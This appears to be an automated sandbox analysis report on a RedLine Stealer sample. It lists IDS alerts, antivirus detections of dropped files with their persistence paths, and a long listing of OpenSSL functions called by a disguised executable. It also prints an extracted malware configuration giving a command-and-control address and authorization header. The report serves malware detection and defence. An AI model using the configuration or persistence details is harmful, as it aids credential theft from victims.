Source Port:	43674
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.5 - Destination IP: 147.45.78.229

Timestamp:	07/02/24-22:52:23.087920
SID:	2043231
Source Port:	49704
Destination Port:	43674
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.5 - Destination IP: 77.221.149.185

Timestamp:	07/02/24-22:52:28.332710
SID:	2019714
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Avira: detection malicious, Label: HEUR/AGEN.1321051

Found malware configuration

Source: 0000005D.00000003.2800628651.0000000007379000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: RedLine {"C2 url": "147.45.78.229:43674", "Authorization Header": "6a4b05ef943a0dd801fd01dfbb9eb717"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\1.exe	ReversingLabs: Detection: 91%
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	ReversingLabs: Detection: 68%
Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe	ReversingLabs: Detection: 91%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\mig.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\1.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8003900 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B8003900
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE16E0 CRYPTO_zalloc,	16_2_00007FF8B7FE16E0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFD940 CRYPTO_mem_ctrl,OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,OPENSSL_sk_push,OPENSSL_sk_sort,CRYPTO_mem_ctrl,	16_2_00007FF8B7FFD940
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFF960 strncmp,strncmp,strncmp,strncmp,ERR_put_error,CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,ERR_put_error,strncmp,CRYPTO_free,OPENSSL_sk_new_null,CRYPTO_free,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_push,OPENSSL_sk_num,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_free,CRYPTO_free,OPENSSL_sk_free,	16_2_00007FF8B7FFF960
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8031960 EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memcpy,	16_2_00007FF8B8031960
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1CC6 CRYPTO_malloc,COMP_expand_block,	16_2_00007FF8B7FE1CC6
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8019A30 EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	16_2_00007FF8B8019A30
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFDA30 COMP_zlib,CRYPTO_mem_ctrl,OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,COMP_get_name,OPENSSL_sk_push,OPENSSL_sk_sort,CRYPTO_mem_ctrl,	16_2_00007FF8B7FFDA30
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE17CB CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_free,memset,CRYPTO_free,	16_2_00007FF8B7FE17CB
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B801FA50 CRYPTO_memcmp,	16_2_00007FF8B801FA50
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1D43 BN_num_bits,CRYPTO_malloc,BN_bn2bin,BN_clear_free,BN_clear_free,	16_2_00007FF8B7FE1D43
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE21AD memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,	16_2_00007FF8B7FE21AD
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1EF1 CRYPTO_malloc,memcpy,memcpy,memcmp,memcmp,memcmp,ERR_put_error,CRYPTO_clear_free,	16_2_00007FF8B7FE1EF1
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8037AE0 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B8037AE0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE16B3 OPENSSL_sk_new_null,d2i_X509,CRYPTO_free,OPENSSL_sk_push,CRYPTO_free,ERR_clear_error,OPENSSL_sk_value,X509_get0_pubkey,EVP_PKEY_missing_parameters,X509_free,X509_up_ref,X509_free,OPENSSL_sk_pop_free,	16_2_00007FF8B7FE16B3
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFBB70 CRYPTO_zalloc,ERR_put_error,CRYPTO_THREAD_lock_new,ERR_put_error,CRYPTO_free,	16_2_00007FF8B7FFBB70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF9B70 CRYPTO_free,CRYPTO_strndup,	16_2_00007FF8B7FF9B70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE109B CRYPTO_free,CRYPTO_memdup,CRYPTO_memdup,	16_2_00007FF8B7FE109B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE7BA0 CRYPTO_free,	16_2_00007FF8B7FE7BA0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FEDBE0 CRYPTO_free,	16_2_00007FF8B7FEDBE0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFDC70 CRYPTO_THREAD_run_once,	16_2_00007FF8B7FFDC70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FEDC90 CRYPTO_free,	16_2_00007FF8B7FEDC90
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8013C80 OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	16_2_00007FF8B8013C80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE22F7 CRYPTO_free,	16_2_00007FF8B7FE22F7
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE17D0 CRYPTO_malloc,memcpy,	16_2_00007FF8B7FE17D0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE7CF0 CRYPTO_free,	16_2_00007FF8B7FE7CF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FEDCF0 CRYPTO_free,	16_2_00007FF8B7FEDCF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8039CDC CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B8039CDC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1E4C CRYPTO_clear_free,	16_2_00007FF8B7FE1E4C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8037D00 CRYPTO_free,CRYPTO_strndup,	16_2_00007FF8B8037D00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF7D40 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B7FF7D40
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8005D50 ERR_put_error,CRYPTO_free,ERR_put_error,BUF_MEM_free,EVP_MD_CTX_free,X509_free,X509_VERIFY_PARAM_move_peername,CRYPTO_free,	16_2_00007FF8B8005D50
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B801FD80 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B801FD80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FEDDA0 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,	16_2_00007FF8B7FEDDA0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FEFDB0 EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_MD_CTX_md,EVP_MD_size,CRYPTO_memcmp,EVP_MD_CTX_md,EVP_MD_CTX_md,EVP_MD_size,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,CRYPTO_memcmp,strncmp,strncmp,strncmp,strncmp,strncmp,	16_2_00007FF8B7FEFDB0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8017DD0 CRYPTO_zalloc,CRYPTO_free,	16_2_00007FF8B8017DD0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE7DF0 CRYPTO_zalloc,ERR_put_error,	16_2_00007FF8B7FE7DF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8013E40 CRYPTO_THREAD_read_lock,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset,	16_2_00007FF8B8013E40
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8027E6F CRYPTO_malloc,	16_2_00007FF8B8027E6F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF5E70 CRYPTO_free,CRYPTO_strdup,	16_2_00007FF8B7FF5E70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1CD5 CRYPTO_free,CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B7FE1CD5
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1E56 CRYPTO_zalloc,ERR_put_error,BUF_MEM_grow,CRYPTO_free,	16_2_00007FF8B7FE1E56
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B802BEF0 EVP_CIPHER_CTX_free,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B802BEF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1208 CRYPTO_zalloc,memcpy,memcpy,memcpy,CRYPTO_free,memcpy,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B7FE1208
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1B8B CRYPTO_free,CRYPTO_malloc,	16_2_00007FF8B7FE1B8B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE7F50 CRYPTO_zalloc,ERR_put_error,	16_2_00007FF8B7FE7F50
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B801FF70 CRYPTO_free,CRYPTO_strndup,	16_2_00007FF8B801FF70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1AB4 CRYPTO_free,	16_2_00007FF8B7FE1AB4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF5FAA CRYPTO_free,	16_2_00007FF8B7FF5FAA
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE9FC0 CRYPTO_malloc,memset,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B7FE9FC0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8037FC0 CRYPTO_malloc,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,RAND_bytes,EVP_sha256,EVP_EncryptUpdate,EVP_EncryptFinal,HMAC_Update,HMAC_Final,	16_2_00007FF8B8037FC0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8029FC0 EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free,EVP_PKEY_free,	16_2_00007FF8B8029FC0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF7FE0 EVP_PKEY_CTX_new,EVP_PKEY_derive_init,EVP_PKEY_derive_set_peer,EVP_PKEY_derive,CRYPTO_malloc,EVP_PKEY_derive,CRYPTO_clear_free,EVP_PKEY_CTX_free,	16_2_00007FF8B7FF7FE0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FEDFE0 CRYPTO_malloc,	16_2_00007FF8B7FEDFE0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE14FB CRYPTO_free,CRYPTO_memdup,ERR_put_error,	16_2_00007FF8B7FE14FB
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8002010 CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,	16_2_00007FF8B8002010
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE210D HMAC_CTX_new,EVP_CIPHER_CTX_new,EVP_sha256,HMAC_Init_ex,EVP_aes_256_cbc,HMAC_size,EVP_CIPHER_CTX_iv_length,HMAC_Update,HMAC_Final,CRYPTO_memcmp,EVP_CIPHER_CTX_iv_length,EVP_CIPHER_CTX_iv_length,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,memcpy,ERR_clear_error,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,	16_2_00007FF8B7FE210D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE2243 CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,ERR_put_error,	16_2_00007FF8B7FE2243
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE15C8 EVP_MD_CTX_new,EVP_PKEY_new,EVP_PKEY_assign,DH_free,EVP_PKEY_security_bits,EVP_PKEY_get0_DH,EVP_PKEY_free,DH_get0_key,EVP_PKEY_get1_tls_encodedpoint,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,BN_num_bits,BN_num_bits,memset,BN_num_bits,BN_bn2bin,CRYPTO_free,EVP_PKEY_size,EVP_DigestSignInit,RSA_pkey_ctx_ctrl,RSA_pkey_ctx_ctrl,EVP_DigestSign,CRYPTO_free,EVP_MD_CTX_free,	16_2_00007FF8B7FE15C8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE402B BIO_get_data,BIO_get_shutdown,BIO_get_init,BIO_clear_flags,BIO_set_init,CRYPTO_free,CRYPTO_zalloc,ERR_put_error,BIO_set_init,BIO_clear_flags,BIO_set_shutdown,BIO_push,BIO_set_next,BIO_up_ref,BIO_set_init,	16_2_00007FF8B7FE402B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1249 CRYPTO_zalloc,ERR_put_error,_time64,CRYPTO_THREAD_lock_new,ERR_put_error,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset,memcpy,	16_2_00007FF8B7FE1249
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF40B0 CRYPTO_clear_free,	16_2_00007FF8B7FF40B0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1B0E memset,OPENSSL_cleanse,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,CRYPTO_memcmp,	16_2_00007FF8B7FE1B0E
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1F5F CRYPTO_strdup,	16_2_00007FF8B7FE1F5F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B800C0F0 CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,ERR_put_error,	16_2_00007FF8B800C0F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8017150 CRYPTO_free,	16_2_00007FF8B8017150
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1AFF CRYPTO_malloc,CRYPTO_mem_ctrl,OPENSSL_sk_find,CRYPTO_free,CRYPTO_mem_ctrl,ERR_put_error,OPENSSL_sk_push,CRYPTO_mem_ctrl,CRYPTO_free,CRYPTO_mem_ctrl,ERR_put_error,	16_2_00007FF8B7FE1AFF
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1C3A X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,	16_2_00007FF8B7FE1C3A
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1F55 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B7FE1F55
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE10A5 CRYPTO_zalloc,ERR_put_error,ERR_put_error,CRYPTO_free,EVP_PKEY_up_ref,X509_up_ref,EVP_PKEY_up_ref,X509_chain_up_ref,CRYPTO_malloc,memcpy,CRYPTO_malloc,memcpy,ERR_put_error,EVP_PKEY_free,X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,CRYPTO_malloc,memcpy,CRYPTO_memdup,X509_STORE_up_ref,X509_STORE_up_ref,CRYPTO_strdup,	16_2_00007FF8B7FE10A5
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF7290 EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_clear_free,	16_2_00007FF8B7FF7290
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE165E CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B7FE165E
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1D7F BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,CRYPTO_free,CRYPTO_strdup,	16_2_00007FF8B7FE1D7F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE2176 EVP_MD_CTX_new,EVP_PKEY_size,CRYPTO_malloc,EVP_DigestSignInit,RSA_pkey_ctx_ctrl,RSA_pkey_ctx_ctrl,EVP_DigestUpdate,EVP_MD_CTX_ctrl,EVP_DigestSignFinal,EVP_DigestSign,BUF_reverse,CRYPTO_free,EVP_MD_CTX_free,CRYPTO_free,EVP_MD_CTX_free,	16_2_00007FF8B7FE2176
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE2144 CRYPTO_free,CRYPTO_malloc,RAND_bytes,	16_2_00007FF8B7FE2144
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1C03 CRYPTO_free,CRYPTO_strdup,	16_2_00007FF8B7FE1C03
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1005 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memset,	16_2_00007FF8B7FE1005
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFD3E0 CRYPTO_THREAD_run_once,	16_2_00007FF8B7FFD3E0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8023440 CRYPTO_free,CRYPTO_strndup,CRYPTO_free,OPENSSL_cleanse,_time64,memcpy,OPENSSL_cleanse,OPENSSL_cleanse,EVP_MD_size,	16_2_00007FF8B8023440
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE186B CRYPTO_free,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B7FE186B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1AB9 CONF_parse_list,CRYPTO_malloc,ERR_put_error,memcpy,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B7FE1AB9
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B800546A CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	16_2_00007FF8B800546A
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1690 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	16_2_00007FF8B7FE1690
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1681 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B7FE1681
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE207C CRYPTO_free,_time64,CRYPTO_free,CRYPTO_malloc,EVP_sha256,EVP_Digest,EVP_MD_size,CRYPTO_free,	16_2_00007FF8B7FE207C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B803F4A0 BN_bin2bn,BN_ucmp,BN_is_zero,CRYPTO_free,CRYPTO_strdup,	16_2_00007FF8B803F4A0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B801F4D0 CRYPTO_memdup,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B801F4D0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE125D BIO_pop,BIO_free,BIO_free_all,BIO_free_all,BUF_MEM_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,SCT_LIST_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,ASYNC_WAIT_CTX_free,CRYPTO_free,OPENSSL_sk_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	16_2_00007FF8B7FE125D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE101E EVP_PKEY_free,BN_num_bits,BN_bn2bin,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_clear_free,	16_2_00007FF8B7FE101E
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE9510 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memset,CRYPTO_free,	16_2_00007FF8B7FE9510
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8019570 CRYPTO_memcmp,	16_2_00007FF8B8019570
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE20DB CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,	16_2_00007FF8B7FE20DB
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE12E4 EVP_MD_size,RAND_bytes,_time64,CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B7FE12E4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B802F640 CRYPTO_free,CRYPTO_free,CRYPTO_strndup,	16_2_00007FF8B802F640
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE24B9 OPENSSL_sk_new_null,d2i_X509,CRYPTO_free,OPENSSL_sk_push,OPENSSL_sk_num,CRYPTO_memcmp,CRYPTO_free,X509_free,OPENSSL_sk_pop_free,OPENSSL_sk_value,X509_get0_pubkey,X509_free,OPENSSL_sk_shift,OPENSSL_sk_pop_free,	16_2_00007FF8B7FE24B9
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFF6F0 CRYPTO_zalloc,ERR_put_error,CRYPTO_free,	16_2_00007FF8B7FFF6F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8037720 CRYPTO_memcmp,	16_2_00007FF8B8037720
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE9770 CRYPTO_malloc,ERR_put_error,CRYPTO_free,	16_2_00007FF8B7FE9770
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8001790 CRYPTO_free,CRYPTO_strdup,	16_2_00007FF8B8001790
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B801F7A0 CRYPTO_free,CRYPTO_free,	16_2_00007FF8B801F7A0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B804B7A0 SRP_Calc_u,BN_num_bits,CRYPTO_malloc,BN_bn2bin,BN_clear_free,BN_clear_free,CRYPTO_clear_free,BN_clear_free,	16_2_00007FF8B804B7A0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1505 CRYPTO_free,CRYPTO_malloc,ERR_put_error,memcpy,	16_2_00007FF8B7FE1505
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1F0F CRYPTO_free,CRYPTO_malloc,memcpy,	16_2_00007FF8B7FE1F0F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8019810 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B8019810
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B80278A7 CRYPTO_clear_free,	16_2_00007FF8B80278A7
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1104 EVP_PKEY_free,X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	16_2_00007FF8B7FE1104
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE22B1 ERR_put_error,CRYPTO_free,CRYPTO_strdup,	16_2_00007FF8B7FE22B1
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B803E910 EVP_PKEY_CTX_new,X509_get0_pubkey,ERR_clear_error,EVP_PKEY_decrypt,EVP_PKEY_CTX_ctrl,EVP_PKEY_CTX_free,	16_2_00007FF8B803E910
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1BEF ERR_put_error,ERR_put_error,ERR_put_error,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,ERR_put_error,CRYPTO_free,OPENSSL_LH_new,OPENSSL_sk_num,EVP_get_digestbyname,EVP_get_digestbyname,OPENSSL_sk_new_null,OPENSSL_sk_new_null,CRYPTO_new_ex_data,RAND_bytes,RAND_priv_bytes,RAND_priv_bytes,RAND_priv_bytes,	16_2_00007FF8B7FE1BEF
